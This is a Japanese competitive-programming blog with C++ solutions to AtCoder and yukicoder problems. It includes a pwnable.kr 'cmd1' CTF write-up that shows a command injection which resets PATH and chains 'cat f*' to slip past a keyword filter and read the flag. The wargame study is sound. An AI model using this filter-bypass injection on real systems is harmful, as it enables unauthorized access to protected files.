srupのメモ帳

競プロで解いた問題や勉強したことを記録していくメモ帳

ABC 054 D - Mixing Experiment

abc dp

問題

問題概要

タイプAとBの混合比がMa:Mbとなる薬を作らないければならない. 薬局の情報がNこあたえられ, それぞれの薬局でタイプAとBの薬をそれぞれいくら持っているかの情報とその値段が与えられる.
いくつかの薬局で薬を買ってそれらをすべて使い, Ma:Mbとなる薬を作った場合に, 最小の費用がいくらかを求める.

解法

動的計画法で解くことができる.
dp[i][j][k] := i番目までの薬局をみて, タイプAの薬がjグラムで, Bの薬がkグラムの時の最小費用
として計算していけばよい. 今回の問題はそれぞれの薬局でもらえる薬のグラム(ai, bi)の最大値が10なので, すべての薬局で薬を買ったとしても, j,kの最大値が400で収まるので、dpの配列を上記のように設定しても解ける.
また, dp配列をループで埋めていくときの漸化式は, i番目の薬局で薬を買う買わないの2通りだけをやればよい. つまり, 01ナップザック問題と同じ.

ミス

今回は全完できてよかった. ただD問題でdebugように数字を小さくしたまま提出してしまい1WAしてしまった.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;

int n, Ma, Mb;
int a[50], b[50], c[50];
// dp[i][j][k] := i番目までの薬局をみて, タイプAの薬がjグラムで, Bの薬がkグラムの時の最小費用  
int dp[50][500][500];

int main(void){
    cin >> n >> Ma >> Mb;
    rep(i, n) cin >> a[i] >> b[i] >> c[i];
    rep(i, 50)rep(j, 500)rep(k, 500)dp[i][j][k] = INF;
    dp[0][0][0] = 0;
    rep(i, n){
        rep(j, 500)rep(k, 500){
            if(dp[i][j][k] == INF) continue;
            //i番目の薬局を使う
            chmin(dp[i + 1][j + a[i]][k + b[i]], dp[i][j][k] + c[i]);
            //i番目の薬局を使わない
            chmin(dp[i + 1][j][k], dp[i][j][k]);
        }
    }

    int ans = INF;
    reps(i, 1, 50){
        int A = Ma * i, B = Mb * i;
        if(A > 490 || B > 490) break;
        chmin(ans, dp[n][A][B]);
    }
    if(ans == INF) printf("-1\n");
    else printf("%d\n", ans);
    return 0;
}

ABC 054 C - One-stroke Path

abc 全探索

問題

問題概要

頂点1をスタートとして, すべての頂点を一度だけ訪れるパスは何通りあるか.

解法

Nが最大8であるので, パスを全探索することができる. パスを全部書き出すと, 1は決定しているので, 2からNまでのすべての順列になる. よって, すべてのパスの数は最大,　(N-1)!　なので, これをすべて調べてもNが小さいので大丈夫.
実装方法は, 2~7のnext_permutationですべての順列に対して、その順列の順番でいくことができるパスが実際にあるのかを調べて, 全部でいくつあるかをカウントすればよい.

ミス

全探索できない場合どうすればいいんだろう.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;

int n, m;
int G[10][10];

int main(void){
    cin >> n >> m;
    rep(i, m){
        int a, b; cin >> a >> b;
        a--; b--;
        G[a][b] = G[b][a] = 1;
    }

    // 0してん
    vector<int> v(n - 1);
    reps(i, 1, n) v[i - 1] = i;
    sort(v.begin(), v.end());
    int ans = 0;
    //すべての順列を調べる
    do{
        int now = 0;
        rep(i, v.size()){
            if(G[now][v[i]] == 0) break;
            now = v[i];
            if(i == v.size() - 1)ans++;             
        }
    }while(next_permutation(v.begin(), v.end()));
    printf("%d\n", ans);
    return 0;
}

ABC 054 B - Template Matching

abc

問題

問題概要

“#"と”.“からなる画像(文字列や何本か)が2つ, A, Bとして与えられる. Bの画像がAの画像の中に含まれるかどうかを調べる.

解法

BがAに含まれるかを単純に調べた. Bの左上がAのどこにあるかですべて試して, 一致するものがあるかを調べた.
下記の実装であれば, 変数y, xがBの座標(0,0)をAの(y,x)において調べていることになる.
O(nnmm)なのかな?

ミス

画像処理で一回こういうの書いたことあった.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;

int n, m;
string a[55], b[55];
int main(void){
    cin >> n >> m;
    rep(i, n) cin >> a[i];
    rep(i, m) cin >> b[i];
    if(n < m){
        printf("No\n");
        return 0;
    }else{
        rep(y, n - m + 1)rep(x, n - m + 1){
            bool flag = true;
            rep(i, m){
                rep(j, m){
                    if(a[i + y][j + x] != b[i][j]){
                        flag = false;
                        break;
                    }
                }
                if(!flag) break;
            }
            if(flag){
                printf("Yes\n");
                return 0;
            }
        }
    }
    printf("No\n");
    return 0;
}

ABC 054 A - One Card Poker

abc

問題

問題概要

2人に数字が渡されて, 対戦を行う. 数字によって強さがきまり, そのルールは,
2<3<4<5<6<7<8<9<10<11<12<13<1
であり, 1だけ特別である.

解法

まず, a,bが等しい時はdrawなので、それを処理する.
つぎに, a,bどちらにも1が含まれていなければ通常の比較ができるので, その場合を処理する.
最後にどちらか一方が1を持つ場合が残るので, 1を持ってるほうを勝者とすればいい.

ミス

はまると間違えそう.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;

int main(void){
    int a, b; cin >> a >> b;
    if(a == b) printf("Draw\n");
    else if(a != 1 && b != 1){
        if(a < b) printf("Bob\n");
        else printf("Alice\n");
    }else{
        if(a == 1)printf("Alice\n");
        else printf("Bob\n");
    }
    return 0;
}

yukicoder No.43 野球の試合

yukicoder 全探索

問題

問題概要

野球の試合の対戦成績の表がもらえる. 表は埋まっていない部分があるので, そこを任意に決めた場合, 自チームは最高で何位になるか. また、同じ順位に複数のチームがあったとしても, 数字が抜けることはない.

解法

nが最大6でありとても小さい. 仮に対戦成績の表がすべて埋まっていない場合, 決まっていない箇所が30箇所であり, 半分は逆のことを示しているだけなので, 実質わからないのは最大でも15箇所ということになる. わからない場所すべてにおいて(例えばsij), i番目のチームが勝つか負けるのかの2通りしかないので, 全探索しても, 215ですむ. よって、2bit全探索を実装すればよいことになる.
実装方法はmaskを0から(1<<(わからない場所の数))-1 の間を回して, 位置pのbitが立っていれば, どちらかのチームが勝利したことにして、立っていなければもう一方のチームが勝利したことにして, 全試合の勝利数を数えればよい. それを2わからない場所の数だけ試して順位が最小のものを求めればよいことになる.

ミス

nが極端に小さいのが肝.

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;

string s[10];
int n;
int kati[10], make[10];

int main(void){
    cin >> n;
    rep(i, n) cin >> s[i];
    vector<pair<int, int> > nazo;
    rep(i, n)rep(j, n){
        if(s[i][j] == '-'){
            nazo.pb(mp(min(i, j), max(i, j)));
        }else if(s[i][j] == 'o'){
            kati[i]++;
        }
    }
    sort(all(nazo));
    nazo.erase(unique(all(nazo)), nazo.end());
    int size = nazo.size();
    int ans = INF;
    if(size != 0){
        for (int mask = 0; mask < (1 << (size)); ++mask){
            vector<int> win(10, 0);
            rep(i, n)win[i] = kati[i];
            for (int p = 0; p < size; ++p){
                if((mask & (1 << p)) != 0){//1が立ってたら、firstの勝ち 立ってなければsecondの負け
                    win[nazo[p].fi]++;
                }else{
                    win[nazo[p].se]++;
                }
            }
            int aim = win[0];
            sort(all(win));
            win.erase(unique(all(win)), win.end());
            reverse(all(win));
            int cnt = 0;
            while(win[cnt] != aim)cnt++;
            chmin(ans, cnt + 1);
        }
    }else{//すでに決まっている場合
        vector<int> win;
        rep(i, n) win.pb(kati[i]);
        sort(all(win));
        win.erase(unique(all(win)), win.end());
        reverse(all(win));
        int cnt = 0;
        while(win[cnt] != kati[0])cnt++;
        chmin(ans, cnt + 1);
    }
    printf("%d\n", ans);
    return 0;
}

pwnable kr cmd1 メモ

pwn

cmd1

解法

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

サーバーに置かれているプログラムは上の通り。putenvで、環境変数のPATHが上書きされてしまっているので、catが使えなくなってしまっている。

cmd1@ubuntu:~$ ./cmd1 export
export HOME='/home/cmd1'
export LANG='en_US.UTF-8'
export LANGUAGE='en_US:'
export LOGNAME='cmd1'
export MAIL='/var/mail/cmd1'
export PATH='/fuckyouverymuch'
export PWD='/home/cmd1'
export SHELL='/bin/bash'
export SHLVL='1'
export SSH_CLIENT='211.1.200.141 49755 22'
export SSH_CONNECTION='211.1.200.141 49755 192.168.1.186 22'
export SSH_TTY='/dev/pts/10'
export TERM='xterm-256color'
export USER='cmd1'
export XDG_RUNTIME_DIR='/run/user/1025'
export XDG_SESSION_ID='4735'
export _='./cmd1'

そこで、

./cmd1 "export PATH=/bin"

として、PATHを上書きすることをする。 ""で囲んでいるのは、空白で引数を分けないようにするため。
PATHを書き換えたあとは、cat flagをおこなえばよいが、filterで弾かれてしまうので、cat f*で逃げる。

./cmd1 "export PATH=/bin; cat f*"

;で区切っているのでは、
コマンド1; コマンド2 コマンド1を終了したら、結果に関わらずコマンド2を実行 を意味する。

qiita.com

ミス

Linuxの知識がない

yukicoder No.160 最短経路のうち辞書順最小

yukicoder ワーシャルフロイド法 ダイクストラ

問題

問題概要

最短経路を復元する。経路復元。

解法

ダイクストラでやる。経路復元は蟻本を参照。
気をつけることは、s->gの最短経路を求めるのではなく、今回は無向グラフであることを利用して、g->sへの最短経路を求め、そのついでにもとめられるpreを利用しなければ、辞書順最小とはならない。

ミス

そのままsからgまでの最短経路を求めて、ついでにpreに小さな頂点番号をメモしておく方法をとっていて、大量WA。

コード

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef vector<int> vint;
typedef pair<int,int> pint;
typedef vector<pint> vpint;
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)
#define each(it,v) for(__typeof((v).begin()) it=(v).begin();it!=(v).end();it++)
#define all(v) (v).begin(),(v).end()
#define pb push_back
#define mp make_pair
#define fi first
#define se second
#define chmax(a, b) a = (((a)<(b)) ? (b) : (a))
#define chmin(a, b) a = (((a)>(b)) ? (b) : (a))
const int MOD = 1e9 + 7;
const int INF = 1e9;

const int MAX_N = 210;
vector<pair<int, int> > G[MAX_N];
vector<int> dijkstra(int start, int goal){//スタートとゴールを逆に
    vector<long long> dist(MAX_N, INF);
    vector<int> pre(MAX_N, -1);//pre[i] := iの前の頂点
    dist[start] = 0;//dist[i] :=　start->iまでの最短距離
    priority_queue<pair<int, int>, vector<pair<int, int> >, greater<pair<int, int> > > que;
    que.push(make_pair(0, start));
    while(!que.empty()){
        int cost, u, t;//今までにかかった時間 現在の頂点
        cost = que.top().first, u = que.top().second;
        que.pop();
        if(dist[u] < cost) continue;
        for (auto tmp : G[u]){
            int v = tmp.first, time = tmp.second;//隣接する頂点 その頂点まで行く時間
            if(dist[v] > dist[u] + time){//u->v
                dist[v] = dist[u] + time;
                pre[v] = u;
                que.push(make_pair(dist[v], v));
            }else if(dist[v] == dist[u] + time){//辞書順最小
                pre[v] = min(pre[v], u);
            }
        }
    }
    //経路復元
    vector<int> path;
    int s = start, t = goal;
    for (; t != s; t = pre[t]) path.push_back(t);
    path.push_back(s);
    return path; //start-> * -> goal startからgoalまでの最短経路(辞書順最小)
}

signed main(void){
    int n, m, s, g;
    scanf("%d %d %d %d", &n, &m, &s, &g);
    rep(i, m){
        int a, b, c; scanf("%d %d %d", &a, &b, &c);
        G[a].pb(mp(b, c));
        G[b].pb(mp(a, c));
    }
    auto ans = dijkstra(g, s);
    rep(i, ans.size()){
        if(i != ans.size() - 1)printf("%d ", ans[i]);
        else printf("%d\n", ans[i]);
    }
    return 0;
}

#include <iostream>
#include <string>
#include <algorithm>
#include <functional>
#include <vector>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cmath>
using namespace std;
typedef long long ll;
typedef pair<int,int> pint;
typedef vector<int> vint;
typedef vector<pint> vpint;
#define mp make_pairt
#define fi first
#define se second
#define all(v) (v).begin(),(v).end()
#define rep(i,n) for(int i=0;i<(n);i++)
#define reps(i,f,n) for(int i=(f);i<(n);i++)

const int MAX_N = 200;
int dist[MAX_N][MAX_N];
int distmemo[MAX_N][MAX_N];//経路復元の時に使う
const int INF = 1e9;
int s, g;//start goal

//ワーシャルフロイド法 全点対間最短経路をもとめるとき) (0オリジンで使うこと)
//dpを利用している
//dist[i][i] = 0 dist[i][j](経路がないもの)= dist[j][i] = INF(1e9)で初期化しておくこと
//dist[i][j] = dist[j][i] = (距離)を代入しておくこと
//この関数を利用することで、dist[i][j]の値(i,j間の距離)の最小値に更新されていく

//これで最短経路がもとまってる
void floyd (int n){//nは頂点の数
    rep(k, n) rep(i, n) rep(j, n)
        dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j]);//最終的に最短距離が入る
    
    //経路復元
    printf("%d ", s);
    int now = s;//nowの次の頂点を復元する
    while (now != g){
        rep(i, n){//全ての頂点を確かめる
            if (now == i) continue;//この時すでに出力済み
            //経路があるかどうかは distmemo[now][i] を見ればよい
            //これは元の経路とワーシャルフロイトによって求められた最短経路の和が最短経路と一致するかを確かめている
            if (dist[now][g] == distmemo[now][i] + dist[i][g] && distmemo[now][i] > 0){
                now = i;
                if (now == g) printf("%d\n", g);
                else printf("%d ", now);
                break;
            }
        }
    }
}


int main(void){
    int n, m;
    cin >> n >> m >> s >> g;
    //大きめの数字で初期化
    rep(i, n)rep(j, n) dist[i][j] = dist[j][i] = INF;
    //復元用は0で初期化しておく??
    rep(i, n)rep(j, n) distmemo[i][j] = distmemo[j][i] = 0;

    //同じところは0
    rep(i, n) dist[i][i] = 0;
    //入力
    rep(i, m){
        int a, b, c;
        scanf("%d%d%d", &a,&b,&c);
        //a--; b--; //0オリジンへ
        dist[a][b] = dist[b][a] = c;//バスは往復可能なので、2つに代入すること
        distmemo[a][b] = distmemo[b][a] = c;//経路復元に使うメモ用
    }
    floyd(n);//頂点の数
    return 0;       
}